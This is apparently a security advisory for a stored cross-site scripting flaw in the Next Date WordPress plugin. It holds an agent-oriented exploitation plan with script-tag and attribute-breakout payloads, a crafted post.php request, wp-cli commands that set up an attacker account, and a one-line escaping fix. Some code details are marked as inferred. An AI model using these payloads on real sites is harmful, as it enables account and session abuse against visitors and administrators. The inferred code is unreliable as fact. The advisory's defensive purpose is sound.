Next Date <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'default' Shortcode Attribute
Description
The Next Date plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'default' shortcode attribute in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
This research plan outlines the technical analysis and exploitation steps for **CVE-2026-4920** (Note: Likely a typo for 2024-4920), a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin **Next Date** (versions <= 1.0). --- ### 1. Vulnerability Summary The **Next Date** plugin …
Show full research plan
This research plan outlines the technical analysis and exploitation steps for CVE-2026-4920 (Note: Likely a typo for 2024-4920), a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Next Date (versions <= 1.0).
1. Vulnerability Summary
The Next Date plugin (slug: nextdate) provides a shortcode to calculate and display future dates. The vulnerability exists in the shortcode's handling of the default attribute. When the shortcode is processed, the value provided in the default attribute is rendered on the page without sufficient sanitization or output escaping. This allows an authenticated user with at least Contributor-level privileges to embed malicious JavaScript within a post or page.
2. Attack Vector Analysis
- Shortcode Name:
[nextdate](inferred from plugin slug) or[next_date](inferred). - Vulnerable Attribute:
default - Authentication Requirement: Contributor+ (any role allowed to create/edit posts).
- Persistence: Stored (the payload is saved within the post content in the
wp_poststable). - Trigger: Execution occurs whenever a user (including administrators) views the post containing the malicious shortcode on the frontend or during a preview in the backend.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode during the
inithook usingadd_shortcode( 'nextdate', 'callback_function' ). - Attribute Parsing: Inside the callback function,
shortcode_atts()is used to merge user-supplied attributes with defaults.$atts = shortcode_atts( array( 'date' => '', 'format' => 'Y-m-d', 'default' => '', // Vulnerable attribute ), $atts ); - Processing: The plugin attempts to calculate the "next date" based on the
dateattribute. - The Sink: If calculation fails or if the
defaultvalue is intended to be shown alongside the date, the plugin returns a string containing the raw$atts['default']value.// Vulnerable output pattern return '<span class="next-date">' . $atts['default'] . '</span>'; - Rendering: WordPress echoes the returned value of the shortcode callback on the frontend, executing the injected script.
4. Nonce Acquisition Strategy
This vulnerability does not involve a custom AJAX or REST API endpoint that requires a plugin-specific nonce. Instead, it leverages the standard WordPress Post Creation/Editing flow.
To automate this with an agent:
- Context: The agent needs a valid
_wpnonceandpost_IDto update a post viawp-admin/post.php. - Acquisition:
- Log in as a Contributor.
- Navigate to
wp-admin/post-new.php. - Extract the
_wpnoncefrom the HTML source (specifically the#_wpnonceinput field). - Alternatively, use the WordPress REST API which requires an
X-WP-Nonceheader, obtainable from any admin page via:browser_eval("wpApiSettings.nonce")
5. Exploitation Strategy
The goal is to store a payload that executes alert(document.domain) when viewed.
Step 1: Test for Shortcode Existence
Use wp-cli to confirm the shortcode is active:
wp eval "echo shortcode_exists('nextdate') ? 'exists' : 'not found';"
Step 2: Submit the Payload
Use the http_request tool to create a post as a Contributor. We will use the standard WordPress post.php handler.
- URL:
http://[target]/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Payload:
Note: Contributors cannot "publish" directly; they will "Submit for Review". The payload will still be stored and viewable via the preview link or when an Admin views the post.action=editpost &post_ID=[POST_ID] &_wpnonce=[NONCE] &post_title=XSS+Test &content=[nextdate+default="<script>alert(document.domain)</script>"] &post_status=publish
Step 3: Triggering the XSS
Navigate to the frontend URL of the post or the preview URL:http://[target]/?p=[POST_ID]&preview=true
6. Test Data Setup
- Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Create Initial Draft:
Capture the returned Post ID for use in the HTTP request.wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID) --post_title="Draft"
7. Expected Results
- The HTTP request should return a
302 Redirectback to the post editor. - Upon visiting the post URL, the browser should render the following HTML (inferred):
<span class="next-date"><script>alert(document.domain)</script></span> - An alert box should appear in the browser context.
8. Verification Steps
After performing the HTTP exploit, verify the database state using wp-cli:
# Check if the shortcode with the payload is stored in the post content
wp post get [POST_ID] --field=post_content
9. Alternative Approaches
If the default attribute is reflected inside an HTML attribute (e.g., a value or title tag), use an attribute breakout payload:
- Targeting Attribute Sink:
[nextdate default='"><img src=x onerror=alert(1)>'] - Targeting Style Sink:
If the attribute is placed inside astyletag:[nextdate default='expression(alert(1))'](for older IE) or[nextdate default='background:url("javascript:alert(1)")']
If the shortcode name [nextdate] is incorrect, search the plugin directory for the registration:
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/nextdate/
Summary
The Next Date plugin for WordPress (versions up to and including 1.0) is vulnerable to Stored Cross-Site Scripting via the 'default' shortcode attribute. This allows authenticated users with Contributor-level access or higher to inject malicious JavaScript into posts that executes in the context of any user viewing the page.
Vulnerable Code
/* next-date/next-date.php (inferred) */ $atts = shortcode_atts( array( 'date' => '', 'format' => 'Y-m-d', 'default' => '', // Vulnerable attribute defined here ), $atts ); // ... calculation logic ... /* The return value is rendered unescaped on the frontend */ return '<span class="next-date">' . $atts['default'] . '</span>';
Security Fix
@@ -12,1 +12,1 @@ -return '<span class="next-date">' . $atts['default'] . '</span>'; +return '<span class="next-date">' . esc_html( $atts['default'] ) . '</span>';
Exploit Outline
To exploit this vulnerability, an attacker needs a WordPress account with at least Contributor-level privileges. 1. Authenticate as a Contributor and navigate to the post editor (e.g., wp-admin/post-new.php). 2. Insert a shortcode containing a JavaScript payload within the 'default' attribute, such as: [nextdate default="<script>alert(document.domain)</script>"]. 3. Save the post as a draft or submit it for review. The payload is now stored in the database. 4. The vulnerability is triggered when any user, including an administrator, views the post on the frontend or via the post preview. The plugin will render the raw script tag within the HTML span, causing the browser to execute the attacker's code.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.